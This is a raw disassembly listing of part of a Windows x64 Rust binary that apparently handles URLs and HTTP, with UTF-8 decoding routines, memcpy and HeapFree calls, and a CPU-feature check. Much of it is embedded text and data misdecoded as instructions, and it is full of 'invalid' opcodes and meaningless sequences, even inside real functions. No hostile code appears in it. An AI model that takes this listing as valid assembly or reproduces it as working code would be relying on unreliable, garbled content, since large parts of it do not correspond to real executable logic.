shl r11d, 0x12
shl esi, 6
and r10d, 0x3f
or r10d, esi
or r10d, r11d
cmp r10d, 0x110000
jne 0x1400ff570
invalid
adc al, 0xeb
add rcx, 2
shl r11d, 6
invalid
or r11d, edi
mov r10d, r11d
nop dword [rax]
cmp r10d, 0xd
ja 0x1400ff4d0
invalid
invalid
inc dword [rdi + rcx - 0x5d]
ror byte [rdi], 1
invalid
bt eax, r10d
jb case.0x1400b5836.1435
invalid
invalid
invalid
invalid
invalid
jmp 0x1400ff4d0
shl r11d, 0xc
or esi, r11d
mov r10d, esi
cmp r10d, 0xd
cmp edx, 0xd
cmp edx, 0xd
jbe 0x1400ff57a
jmp 0x1400ff4d0
mov rcx, rdx
mov eax, 0x2600
add byte [rax], al
jmp 0x1400ff5da
nop dword [rax]
inc rcx
cmp r11d, 0xd
ja 0x1400ff680
mov r10d, 0x110000
bt eax, r11d
jae 0x1400ff680
cmp r10d, 0x110000
jne 0x1400ff690
add byte [rax], al
add byte [rax], al
mov r10d, 0x110000
add byte [rax], al
adc dword [rax], eax
cmp rcx, rdx
je 0x1400ff690
movzx ebx, byte [rcx]
movzx r11d, bl
test r11b, r11b
jns 0x1400ff5b0
mov esi, r11d
and esi, 0x1f
movzx ebp, byte [rcx + 1]
and ebp, 0x3f
invalid
cmp r11b, 0xdf
jbe 0x1400ff64a
invalid
movzx edi, byte [rcx + 2]
shl ebp, 6
and edi, 0x3f
or edi, ebp
cmp bl, 0xf0
jb 0x1400ff662
movzx r11d, byte [rcx + 3]
and esi, 7
invalid
shl esi, 0x12
shl edi, 6
pop rcx
add eax, dword [rbx - 0x193ef81a]
invalid
shl esi, 0x12
shl edi, 6
invalid
and r11d, 0x3f
or r11d, edi
or r11d, esi
cmp r11d, 0x110000
je 0x1400ff690
add rcx, 4
cmp r11d, 0xd
jbe case.0x1400b5866.1420
jmp 0x1400ff680
add rcx, 2
shl esi, 6
or esi, ebp
mov r11d, esi
cmp r11d, 0xd
jbe case.0x1400b5866.1420
jmp 0x1400ff680
add rcx, 3
shl esi, 0xc
or edi, esi
mov r11d, edi
cmp r11d, 0xd
jbe case.0x1400b5866.1420
nop dword [rax + rax]
mov r10d, r11d
cmp r10d, 0x110000
je 0x1400ff5da
xor eax, eax
cmp r8d, 0x110000
je 0x1400ff6fe
cmp r9d, 0x110000
je 0x1400ff6fe
and r8d, 0xffffffdf
add r8d, 0xffffffbf
cmp r10d, 0x110000
jne 0x1400ff6cd
cmp r8d, 0x1a
jae 0x1400ff6fc
cmp r9d, 0x3a
sete cl
cmp r9d, 0x7c
sete al
or al, cl
jmp 0x1400ff6fe
cmp r8d, 0x1a
jae 0x1400ff6fc
cmp r9d, 0x7c
je 0x1400ff6df
cmp r9d, 0x3a
jne 0x1400ff6fc
add r10d, 0xffffffdd
cmp r10d, 0x3a
jae 0x1400ff6fc
movabs rax, 0x200000010001001
bt rax, r10
setb al
jmp 0x1400ff6fe
xor eax, eax
pop rbx
pop rbp
pop rdi
pop rsi
ret
add byte [rax - 0x77], cl
jmp 0x129008bb4
cmp ebp, ebx
ja 0x1401005ac
test r13d, r13d
je 0x14010029a
add eax, dword [rax]
add byte [rbp - 0x16f08a25], al
pop rax
add al, byte [rax]
add byte [rdi], cl
test dword [rbx], eax
add eax, dword [rax]
add byte [rbp + 0x494d74db], al
cmp edi, ebx
jbe 0x1401002ea
cmp byte [rbp + rbx], 0xbf
jle 0x1401005ac
jl 0x1401002d2
add byte [rdi + 0x2ef8e0f], bh
add byte [rax], al
cmp ebx, r13d
je 0x1401004fb
jl 0x1401002e6
add byte [rdi - 0x72b7c981], bh
add eax, 0x6f19c
mov qword [rsp + 0x20], rax
mov rcx, rbp
mov rdx, r15
mov r8, rbx
mov r9, r15
mov ecx, edi
invalid
mov ecx, edi
call fcn.140104b90
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
jne 0x1401005ac
test dword [rdx + rax + 0x39440000], edi
jmp 0x140100369
cmp ebx, r13d
jne 0x140100303
clc
add dword [rax], eax
add byte [rbp - 0x77], cl
invalid
add dword [rax], eax
add byte [rax], al
sub r14, rbx
je 0x140100333
js 0x1401005f7
invalid
jmp 0x189100124
lea rdx, [rbx + rbp]
mov qword [rsp + 0x30], rcx
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
mov rsi, r15
cmp r15, r13
jb 0x140100369
out dx, eax
jbe 0x140100362
cmp byte [rbp + r13], 0xbf
jle 0x140100609
mov edi, 0x2a78e0f
add byte [rax], al
mov qword [rdi + 0x10], r13
mov rsi, r13
mov rax, rsi
shr rax, 0x20
and byte [rax - 0x77], cl
int1
and byte [rax - 0x77], cl
int1
shl rcx, 0x20
or rcx, 0x900
test rax, rax
mov r12d, 0x901
cmove r12, rcx
test r12b, r12b
jne 0x1401005c9
invalid
mov ebp, dword [rdi + 0x30]
shr r12, 0x20
mov dword [rdi + 0x30], r12d
cmp r15, rbx
mov rdx, qword [rsp + 0x30]
jne 0x1401003b7
mov ecx, eax
and ecx, 0x1f
movzx r8d, byte [rdx + 1]
and r8d, 0x3f
cmp al, 0xdf
jbe 0x140100406
movzx eax, byte [rdx + 2]
shl r8d, 6
and eax, 0x3f
invalid
or eax, r8d
cmp r9b, 0xf0
jb 0x140100410
movzx r8d, byte [rdx + 3]
and ecx, 7
shl ecx, 0x12
shl eax, 6
and r8d, 0x3f
or r8d, eax
or r8d, ecx
mov eax, r8d
jmp 0x140100415
shl ecx, 6
or ecx, r8d
mov eax, ecx
jmp 0x140100415
shl ecx, 0xc
or eax, ecx
cmp r13d, r12d
jne 0x140100453
cmp eax, 0x40
jne 0x14010045d
jne 0x14010045d
cmp r14, 1
cmp esi, 1
jbe 0x140100523
cmp byte [rdx + 1], 0xbf
jg 0x140100529
cmp eax, 0x3a
je 0x14010045d
cmp eax, 0x40
jne 0x140100472
mov rax, qword [rdi]
sub rax, rsi
cmp rax, r14
jb 0x140100556
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
or r11b, r13b
cmp cl, byte [rax - 0x75]
invalid
mov rax, qword [rdi]
cmp rsi, rax
jne 0x14010048e
mov rcx, rdi
call fcn.1400cf3b0
mov rdx, qword [rsp + 0x30]
push rsp
and al, 0x30
push rsp
and al, 0x30
mov rax, qword [rdi]
mov eax, dword [rdi]
mov rsi, qword [rdi + 0x10]
mov rcx, qword [rdi + 8]
mov byte [rcx + rsi], 0x40
inc rsi
mov qword [rdi + 0x10], rsi
sub rax, rsi
cmp rax, r14
jb 0x140100572
invalid
leave
add byte [rax], al
invalid
inc r12d
add rcx, rsi
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add rsi, r14
sub r12d, ebp
mov qword [rdi + 0x10], rsi
movq xmm0, qword [rdi + 0x34]
movd xmm1, r12d
pshufd xmm1, xmm1, 0x50
paddd xmm1, xmm0
movq qword [rdi + 0x34], xmm1
add dword [rdi + 0x3c], r12d
cmp dword [rdi + 0x18], 0
je 0x1401004e7
add dword [rdi + 0x1c], r12d
cmp dword [rdi + 0x20], 0
mov r8, qword [rsp + 0x30]
je 0x1401004f6
add dword [rdi + 0x24], r12d
cmp r15, rbx
jne 0x1401004ff
xor ebx, ebx
jmp 0x140100510
mov rcx, qword [0x14017d208]
xor ebx, ebx
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, ebx
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
jne 0x140100433
mov rcx, rdi
mov rdx, rsi
mov r8, r14
call fcn.140104c70
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rdi + 8]
mov rsi, qword [rdi + 0x10]
jmp 0x1401004a9
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, rbp
mov rdx, r15
mov r8, r13
mov r9, rbx
call fcn.140104b90
mov byte [rsp + 0x2f], 9
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14016eab8]
lea r8, [rsp + 0x2f]
mov edx, 0x2b
call fcn.1401049b0
call fcn.140010910
mov ecx, 1
mov rdx, r14
call fcn.140104360
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len_O
lea r8, [0x14016ed18]
mov edx, 0x30
call fcn.1401046f0
int3
and al, 8
mov dword [rsp + 0xc], edx
bt ebx, 9
jae 0x140102f22
or r8d, r9d
mov dword [0x14017d324], r8d
mov dword [0x14017d080], 1
mov dword [0x14017d084], r9d
bt edi, 0x14
jae 0x140102fce
mov dword [0x14017d080], r9d
mov ebx, 6
mov dword [0x14017d084], ebx
bt edi, 0x1b
jae 0x140102fce
bt edi, 0x1c
jae 0x140102fce
xor ecx, ecx
xgetbv
shl rdx, 0x20
or rdx, rax
mov qword [rsp + 0x20], rdx
mov rax, qword [rsp + 0x20]
and al, bl
cmp al, bl
jne 0x140102fce
mov eax, dword [0x14017d084]
or eax, 8
mov dword [0x14017d080], 3
mov dword [0x14017d084], eax
test r11b, 0x20
je 0x140102fce
or eax, 0x20
mov dword [0x14017d080], 5
mov dword [0x14017d084], eax
mov eax, 0xd0030000
and r11d, eax
cmp r11d, eax
jne 0x140102fce
mov rax, qword [rsp + 0x20]
and al, 0xe0
cmp al, 0xe0
jne 0x140102fce
or dword [0x14017d084], 0x40
mov dword [0x14017d080], ebx
mov rbx, qword [rsp + 0x28]
xor eax, eax
mov rsi, qword [rsp + 0x30]
add rsp, 0x10
pop rdi
ret
add byte [rax], al
add byte [rax], al
jmp qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll__set_new_mode]
je 0x1401123c6
invalid
jb 0x1401123ec
outsb dx, byte [rsi]
outsd dx, dword [rsi]
cmp ah, byte [rax]
imul esp, dword fs:[rax + riz + 0x6e], 0x7220746f
je 0x1401123ff
jb 0x1401123fa
and byte [rcx + 0x20], ah
jo 0x140112400
jae 0x1401123fc
je 0x1401123fe
jbe 0x1401123fc
and byte [rsi + 0x61], dh
insb byte [rdi], dx
jne 0x140112402
jne 0x14011240d
js 0x140112412
invalid
push rbx
invalid
push r11
and byte [rbx + 0x65], dl
invalid
push rdx
je 0x140112452
outsb dx, byte gs:[rsi]
push rdx
invalid
outsd dx, dword fs:[rsi]
insd dword [rdi], dx
cmp ah, byte [rax]
push rdi
imul ebp, dword [rsi + 0x64], 0x2073776f
jae 0x140112474
jns 0x14011246f
jae 0x140112471
je 0x140112463
insd dword [rdi], dx
insd dword [rdi], dx
and byte [rsi + 0x75], ah
jne 0x140112471
outsb dx, byte [rsi]
invalid
jne 0x140112481
push rdx
push rdx
push rdx
push rdx
cmp r12b, byte [rax]
invalid
push rdx
push rdx
cmp r12b, byte [rax]
imul ebp, dword [rsi + 0x73], 0x63757274
je 0x1401124b9
outsd dx, dword [rsi]
outsb dx, byte [rsi]
and byte [rsi + 0x6f], ch
je 0x140112477
jae 0x1401124ce
jo 0x1401124cb
outsd dx, dword [rsi]
jb 0x1401124d2
push rdi
push rdi
invalid
and byte [rbx + 0x72], al
jns 0x1401124d8
je 0x1401124d9
and byte [rcx + 0x50], al
and byte [r9 + 0x73], bpl
imul esi, dword [rbx + 0x20], 0x76616e75
invalid
and byte [rbp + 0x6e], dh
invalid
imul ebp, dword [rcx + riz*2 + 0x62], 0x6143656c
insb byte [rdi], dx
insb byte [rdi], dx
invalid
imul ebp, dword [rsi + 0x67], 0x62655720
and byte [rcx + 0x50], al
and byte [r11 + 0x72], spl
jns 0x140112501
je 0x140112502
je 0x1401124ea
invalid
jb 0x14011250d
outsb dx, byte [rsi]
push rbx
invalid
outsd dx, dword [rsi]
jb 0x140112527
jae 0x1401124de
push rdx
and byte [r13 + 0x6f], r13b
jne 0x140112533
and byte gs:[rcx + 0x73], ch
and byte [rsi + 0x6f], ch
je 0x1401124f0
imul ebp, dword [rsi + 0x69], 0x6c616974
imul edi, dword [rdx + 0x65], 0x646f4e64
outsd dx, dword [rsi]
invalid
imul esi, dword [rcx + rbp*2 + 0x61], 0x657a696c
jp 0x14011253f
outsd dx, dword fs:[rsi]
outsd dx, dword fs:[rsi]
outsd dx, dword [rsi]
push 0x73
push 0x73
and byte [rbx + 0x72], ah
jns 0x140112557
je 0x140112558
and byte [rbx + 0x6f], al
outsd dx, dword [rsi]
insd dword [rdi], dx
insd dword [rdi], dx
outsd dx, dword [rsi]
outsb dx, byte [rsi]
push rbx
and byte [rbp + 0x6f], ch
jne 0x140112564
and byte gs:[rcx + 0x73], ch
and byte [rbp + 0x6e], dh
invalid
invalid
imul ebp, dword [rcx + riz*2 + 0x62], 0x6143656c
insb byte [rdi], dx
insb byte [rdi], dx
imul ebp, dword [rsi + 0x67], 0x646f4e20
push 0x73
invalid
outsb dx, byte [rsi]
and byte [esi + 0x6f], cl
push 0x73
and byte [rcx + 0x50], al
and byte [r11 + 0x72], spl
jns 0x140112590
je 0x140112591
jb 0x140112586
outsb dx, byte [rsi]
outsd dx, dword fs:[rsi]
outsd dx, dword [rsi]
insd dword [rdi], dx
imul r13d, dword [rsp + r13*2 + 0x53], 0x20636e79
invalid
invalid
outsd dx, dword [rsi]
push 0x73
and byte [rbp + 0x53], al
and byte [rbp + 0x6f], ch
jne 0x1401125b4
jae 0x14011256b
invalid
invalid
je 0x1401125c6
jns 0x14011257c
jae 0x1401125d3
jo 0x1401125d0
outsd dx, dword [rsi]
jb 0x1401125d7
sub al, 0x20
sub al, 0x20
jae 0x1401125ce
and byte gs:[rax + 0x74], ch
je 0x1401125df
push 0x73707474
cmp ch, byte [rdi]
invalid
jae 0x1401125ab
invalid
je 0x1401125f1
invalid
outsd dx, dword [rsi]
push 0x73
sub eax, 0x6d2d7365
outsd dx, dword [rsi]
jne 0x140112600
sub eax, 0x70707573
outsd dx, dword [rsi]
jb 0x140112611
add byte [rax], al
add byte [rax], dh
and al, 0
add dword [rax], eax
add byte [rax], al
sbb byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 9], ah
add dword [rax + 1], eax
add byte [rax], al
add byte [rax], dh
and al, 0
add dword [rax], eax
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
sbb byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rcx], 1
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax + 0x1400109], al
add byte [rax], al
add byte [rax + 9], ah
add dword [rax + 1], eax
add byte [rax], al
add byte [rax + 0x1401125], ah
add byte [rax], al
add byte [rax + 0x41], dh
add byte [rax + 1], al
add byte [r8 + 1], al
add byte [rax], al
add byte [rax + 0x1400e5f], dh
add byte [rax], al
add byte [rax + 9], dl
add dword [rax + 1], eax
add byte [rax], al
add byte [rax + 0x41], dh
push rax
or dword [rcx], eax
add dword [rax], eax
add byte [rax], al
jo 0x14011264b
add byte [rax + 1], al
add byte [rax], al
add byte [rax], ah
insb byte [rdi], dx
add byte [rax + 1], al
add byte [rax], al
add byte [rax], ah
insb byte [rdi], dx
add byte [rax + 1], al
add byte [rax], al
add byte [rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x14001da], al
add byte [rax], al
add al, ah
fiadd dword [rcx]
add dword [rax], eax
add byte [rax], al
xor byte [rax + rax], ah
add dword [rax], eax
add byte [rax], al
sbb byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
and byte [rdx + 0xf], dh
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], ah
jb 0x14011266a
add dword [rax], eax
add byte [rax], al
invalid
add dword [rax + 1], eax
add byte [rax], al
add byte [rax], ah
insb byte [rdi], dx
add byte [rax + 1], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x11], dl
or eax, 0x140
add byte [rax], ah
insb byte [rdi], dx
add byte [rax + 1], al
add byte [rax], al
add byte [rax + rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
loopne 0x1401126b6
add al, byte [rax + 1]
add byte [rax], al
add byte [rax], ah
insb byte [rdi], dx
add byte [rax + 1], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x14002e9], ah
add byte [rax], al
add byte [rax + 0x66], ah
add eax, dword [rax + 1]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
movabs al, byte [0x60000000014002e9]
add ax, word [rax + 1]
add byte [rax], al
add byte [rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, ah
wait
invalid
imul ebp, dword [rsi + 0x61], 0x76697463
and byte gs:[rbx + 0x74], dh
jb 0x140112bc2
invalid
jne 0x140112bcf
js 0x140112bd4
invalid
jo 0x140112bd7
jns 0x140112be4
outsd dx, dword [rsi]
invalid
jb 0x140112bea
push 0x65
invalid
jb 0x140112bf2
insb byte [rdi], dx
invalid
jae case.0x14001a1b4.64
jb 0x140112c0c
invalid
insd dword [rdi], dx
invalid
invalid
jb 0x140112c2f
jno 0x140112c41
jae 0x140112c43
and byte [rbp + 0x52], dl
and byte [r13 + 0x69], bpl
jae 0x140112c4b
insd dword [rdi], dx
imul esi, dword [rbx + 0x73], 0x20676e69
jae 0x140112c41
jae 0x140112c42
imul ebp, dword [rsi + 0x67], 0x68637320
insd dword [rdi], dx
and byte gs:[rcx + 0x6e], ah
outsb dx, byte [rsi]
and byte [ebx + 0x63], dh
push 0x20656d65
invalid
outsb dx, byte [rsi]
and byte fs:[rcx + 0x75], ah
je 0x140112c53
push 0x7469726f
jns 0x140112c61
invalid
outsd dx, dword [rsi]
jb 0x140112c57
je 0x140112c69
jo 0x140112c61
outsd dx, dword [rsi]
insb byte [rdi], dx
insb byte [rdi], dx
pop rdi
jb 0x140112c5c
jae 0x140112c5e
je 0x140112c1b
invalid
jae 0x140112c73
and byte [rcx + 0x73], ch
and byte [rcx + 0x6c], ch
insb byte [rdi], dx
invalid
jae 0x140112c80
outsb dx, byte [rsi]
pop rdi
jo 0x140112c89
outsb dx, byte [rsi]
and byte [edx + 0x65], ah
outsw dx, word [rsi]
jb 0x140112c8e
and byte [rdx + 0x65], dh
invalid
jbe 0x140112c96
and byte fs:[rax + 0x72], dh
jbe 0x140112ca1
outsd dx, dword [rsi]
jne 0x140112cae
and byte [rax + 0x6f], dh
outsb dx, byte [rsi]
jae 0x140112ca7
jae 0x140112ca7
jae 0x140112ca7
outsb dx, byte gs:[rsi]
outsb dx, byte [rsi]
imul ebp, dword fs:[rsi + 0x67], 0x54455320
push rsp
push r11
and byte [rdx + 0x65], ah
outsw dx, word [rsi]
jb 0x140112cbc
and byte [rdx + 0x65], dh
invalid
imul esi, dword [rsi + 0x65], 0x72702064
and byte fs:[rax + 0x72], dh
jo 0x140112cd5
jbe 0x140112ccf
outsd dx, dword [rsi]
jne 0x140112cdc
and byte [rcx + 0x43], al
jae 0x140112cd4
jae 0x140112cd4
jae 0x140112cd4
outsb dx, byte [rsi]
imul ebp, dword fs:[rsi + 0x67], 0x53555020
and byte [eax + 0x55], dl
push rbx
pop rdi
push rax
push rdx
push r11
and byte [r15 + rbp*2 + 0x20], r14b
jo 0x140112cec
jb 0x140112caa
and byte [rdi + 0x68], dh
ja 0x140112cf4
outsd dx, dword [rsi]
and byte [rcx + rbp*2 + 0x73], ah
invalid
imul esi, dword fs:[rbx + 0x61], 0x64656c62
and byte [rbx + 0x65], dh
jb 0x140112d11
jb 0x140112cbe
jo 0x140112d15
jae 0x140112d0a
push 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
lahf
cmpsd dword [rsi], dword [rdi]
add byte [rdi + 0x14013a7], bl
adc eax, dword [rax + 1]
add byte [rax], al
add byte [rbp], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte gs:[rax], al
add byte [rax], al
add byte [rax], al
add bl, dh
add byte [rax], al
add byte [0xdf112cc1], dh
xor eax, 0x9f000000
add byte [rax], al
lahf
cmpsd dword [rsi], dword [rdi]
adc eax, dword [rax + 1]
add byte [rax], al
add byte [rbp], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
fadd qword [rax]
add byte [rax], al
add ah, bl
add byte [rax], al
add byte [rsi], dh
add byte ss:[rax], al
add byte [rax], al
add byte [rdi + 0x14013a7], bl
add byte [rax], al
add byte [rbp], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov ch, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte gs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rbp + 0x39000000], dh
add byte [rax], al
add byte [rdi + 0x14013a7], bl
cmp dword [rax], eax
add byte [rax], al
lahf
cmpsd dword [rsi], dword [rdi]
adc eax, dword [rax + 1]
add dword [rax], eax
add byte [rax], al
add byte gs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi + 0x35000000], bh
add byte [rax], al
add byte [rbp], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov esi, 0x35000000
add byte [rax], al
add byte [rdi + 0x14013a7], bl
adc eax, dword [rax + 1]
add byte [rax], al
add byte [rbp], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
in al, 0
add byte [rax], al
xor dword [rax], eax
add byte [rax], al
lahf
cmpsd dword [rsi], dword [rdi]
adc eax, dword [rax + 1]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add ah, ah
add byte [rax], al
add byte [rcx], dh
add byte [rax], al
add byte [rdi + 0x14013a7], bl
add byte [rax], al
add byte [rbp], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov dword [rax], 0x3d0000
add byte [rax], al
lahf
cmpsd dword [rsi], dword [rdi]
adc eax, dword [rax + 1]
add byte [rax], al
add byte [rbp], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
sub eax, dword [rcx]
add byte [rax], al
xor eax, 0x73000000
jae 0x140112dc6
invalid
invalid
add byte [rax], al
add byte [rdi], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x6f], ah
invalid
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
outsb dx, byte [rsi]
outsd dx, dword [rsi]
je 0x140125944
invalid
jne 0x1401259a8
jae 0x1401259ac
invalid
jb 0x1401259b5
je 0x1401259b7
invalid
jne 0x1401259ca
js 0x1401259cf
invalid
insb byte [rdi], dx
outsd dx, dword [rsi]
ja 0x1401259b1
invalid
jae case.0x14001a1b4.36
je 0x140125a15
imul ebp, dword [rsi + 0x67], 0x43412073
and byte [r14 + 0x6f], bpl
je 0x1401259ce
jb 0x140125a15
invalid
imul esi, dword gs:[rsi + 0x65], 0x6e692064
and byte fs:[rcx + 0x6e], ch
imul ebp, dword [rsi + 0x20], 0x656d6974
insb byte [rdi], dx
and byte [rcx + rbp*2 + 0x6d], dh
insb byte [rdi], dx
jns 0x1401259e1
insd dword [rdi], dx
invalid
jb 0x140125a2e
invalid
imul esi, dword gs:[rsi + 0x65], 0x72662064
and byte fs:[rsi + 0x72], ah
and byte [rsi + 0x72], ah
invalid
and byte [rax + 0x61], ch
insb byte [rdi], dx
sub ax, 0x6c63
outsd dx, dword [rsi]
jae case.0x14001a1b4.38
jb case.0x14001a1b4.38
jb case.0x14001a1b4.38
insd dword [rdi], dx
and byte gs:[rdi + 0x69], dh
je 0x140125a5f
and byte [rcx + 0x6e], ch
jbe 0x140125a5d
insb byte [rdi], dx
imul esp, dword [rax + riz + 0x73], 0x72657a69
jb 0x140125a6b
jne 0x140125a7c
jb 0x140125a6b
jne 0x140125a7c
and byte fs:[rbx + 0x74], dh
jb 0x140125a75
invalid
outsw dx, word [rsi]
jb 0x140125a7e
and byte [rax + 0x72], dh
outsd dx, dword [rsi]
invalid
invalid
jae 0x140125ab0
jb 0x140125aa3
invalid
jne 0x140125ac1
invalid
imul ebp, dword [rsi + 0x74], 0x206e6961
je 0x140125ace
je 0x140125ac2
imul ebp, dword [rsi + 0x20], 0x20656874
push 0x65646165
jb 0x140125a8f
and byte gs:[rax + 0x65], ch
invalid
jb 0x140125a8f
invalid
jae 0x140125aea
imul ebp, dword [rdi + 0x6e], 0x6e6f6320
outsd dx, dword [rsi]
outsb dx, byte [rsi]
je 0x140125ae5
js 0x140125af6
invalid
je 0x140125af2
invalid
and byte gs:[rdi + rbp*2 + 0x20], dh
invalid
push rsp
and byte [rdx + 0x65], dh
jno 0x140125b2b
jae 0x140125b2d
and byte [rdi + 0x61], dh
jae 0x140125ade
jb 0x140125b25
jae 0x140125b27
je 0x140125ae4
je 0x140125ae4
outsd dx, dword [rsi]
jb 0x140125ae7
invalid
insb byte [rdi], dx
insb byte [rdi], dx
jns 0x140125af2
invalid
je 0x140125b41
invalid
and byte fs:[rbp + 0x78], ah
invalid
jae 0x140125b5a
jae 0x140125b5a
imul esi, dword [rsi + 0x65], 0x616f6c20
and byte [rdi + rbp*2 + 0x61], ch
and byte fs:[rdi + 0x65], ah
outsb dx, byte [rsi]
jb 0x140125b57
je 0x140125b61
outsb dx, byte [rsi]
and byte [edx + 0x65], ah
push 0x6f697661
jb 0x140125b77
invalid
jae 0x140125b6a
invalid
invalid
outsb dx, byte [rsi]
imul ebp, dword [rbp + 0x75], 0x6572206d
insd dword [rdi], dx
jne 0x140125b97
and byte [rdx + 0x65], dh
jb 0x140125b92
jno 0x140125ba4
imul esi, dword [rdx + 0x65], 0x746e656d
jae 0x140125b9d
invalid
outsb dx, byte gs:[rsi]
outsb dx, byte [rsi]
jo 0x140125bab
imul ebp, dword [rsi + 0x74], 0x71657220
jne 0x140125bae
jno 0x140125bb9
imul esi, dword [rdx + 0x65], 0x54482073
jb 0x140125bac
jae 0x140125b69
push rsp
push rsp
push rax
invalid
outsb dx, byte [rsi]
and byte [rdx + 0x65], dh
invalid
invalid
pop r15
pop rdi
push r10
push rdx
push r10
push rax
push rdx
push r12
push rsp
pop rdi
push r10
push rdx
push r10
push rsp
push rsp
push r10
pop rdi
push r10
push rdx
push r10
push r15
pop rdi
push rsp
push rdx
pop rdi
push r10
push rdx
push r10
push rbx
push r12
push rsp
push rsp
push r11
pop rdi
push rsp
push r13
push rsp
push rbx
push rsp
push rdx
pop r15
pop rdi
push r11
push r11
push rdx
push rdx
pop r15
push rbx
pop r10
pop r15
push r10
push rdx
push r10
push rdx
push rbp
push rbx
pop rdi
push rbx
push rsp
push rdx
push r8
push r8
push r8
push r8
push rdx
push r11
push rbx
pop rdi
push r10
push rdx
push r10
push r12
pop rdi
push r10
push rdx
push r10
pop r15
pop rcx
push r13
push rdx
pop rdi
push r9
push r9
push r9
push rbp
push r12
pop r15
push rbx
push r13
push rdx
push r12
pop rcx
push rsp
push rsp
push rax
pop rdi
xor dword [rdi + 0x31], ebx
pop rdi
push rdx
push r9
push rbp
push r10
add byte [rax], r8b
add byte [rax], al
add byte [rax], al
add byte [rax], ah
insb byte [rdi], dx
add byte [rax + 1], al
add byte [rax], al
add byte [rax + rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
push rbp
jae 0x14013c2a0
jb 0x14013c23d
add byte [rax], al
add byte [rax], ah
insb byte [rdi], dx
add byte [rax + 1], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, al
invalid
add ch, 8
add dword [rax], eax
add byte [rax], al
outsb dx, byte [rsi]
jbe 0x14013c30d
insb byte [rdi], dx
imul esp, dword [rbp + rdx*2 + 0x72], 0x61684369
jb 0x14013c300
outsb dx, byte [rsi]
jbe 0x14013c31b
insb byte [rdi], dx
imul esp, dword [rbx + rdx*2 + 0x63], 0x656d6568
outsb dx, byte [rsi]
jbe 0x14013c328
insb byte [rdi], dx
imul esp, dword [rcx + rax*2 + 0x75], 0x726f6874
imul esi, dword [rcx + rdi*2 + 0x49], 0x6c61766e
imul esp, dword [rsi + rax*2 + 0x6f], 0x74616d72
push rbx
invalid
push 0x51646e41
jne 0x14013c36c
jb 0x14013c382
imul r14, qword [r11 + 0x73], 0x54676e69
outsd dx, dword [rsi]
outsd dx, dword [rsi]
outsd dx, dword [rsi]
imul ebp, dword [rsi + 0x67], 0x4c6f6f54
outsd dx, dword [rsi]
outsb dx, byte [rsi]
push rbx
invalid
insd dword [rdi], dx
push rsp
outsd dx, dword [rsi]
outsd dx, dword [rsi]
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [esi]
jbe 0x14013c389
insb byte [rdi], dx
imul esp, dword [rbp + rdx*2 + 0x72], 0x20000069
insb byte [rdi], dx
add byte [rax + 1], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
